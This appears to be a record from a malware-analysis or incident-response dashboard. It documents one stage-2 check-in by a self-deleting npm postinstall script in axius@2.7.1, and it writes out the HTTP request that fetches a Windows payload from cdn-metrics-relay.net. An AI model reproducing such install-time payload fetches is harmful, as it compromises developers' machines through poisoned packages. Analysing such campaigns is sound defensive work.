Recovered check-in from axius@2.7.1 · 2026-02-10T04:22:07Z (T+2647s)
Recovered request
GET /stage2/windows HTTP/1.1
Host: cdn-metrics-relay.net:9200
X-Campaign-Id: cl-h6jkxv6p
User-Agent: node-fetch/1.0
X-Forwarded-For: 203.0.113.79
Handler outcome
- Source IP
- 203.0.113.79
- Detected platform
- windows
- Check-in time
- 2026-02-10T04:22:07Z
- Stage2 outcome
-
delivered (200)
This is the single recovered postinstall run for this host, cipher-lite-js's `setup.js`
executes once and self-deletes; there is no ongoing implant to inspect beyond this one request.
See this campaign's Stage 2 Payload tab for the config
this response would have carried.
← back to axius@2.7.1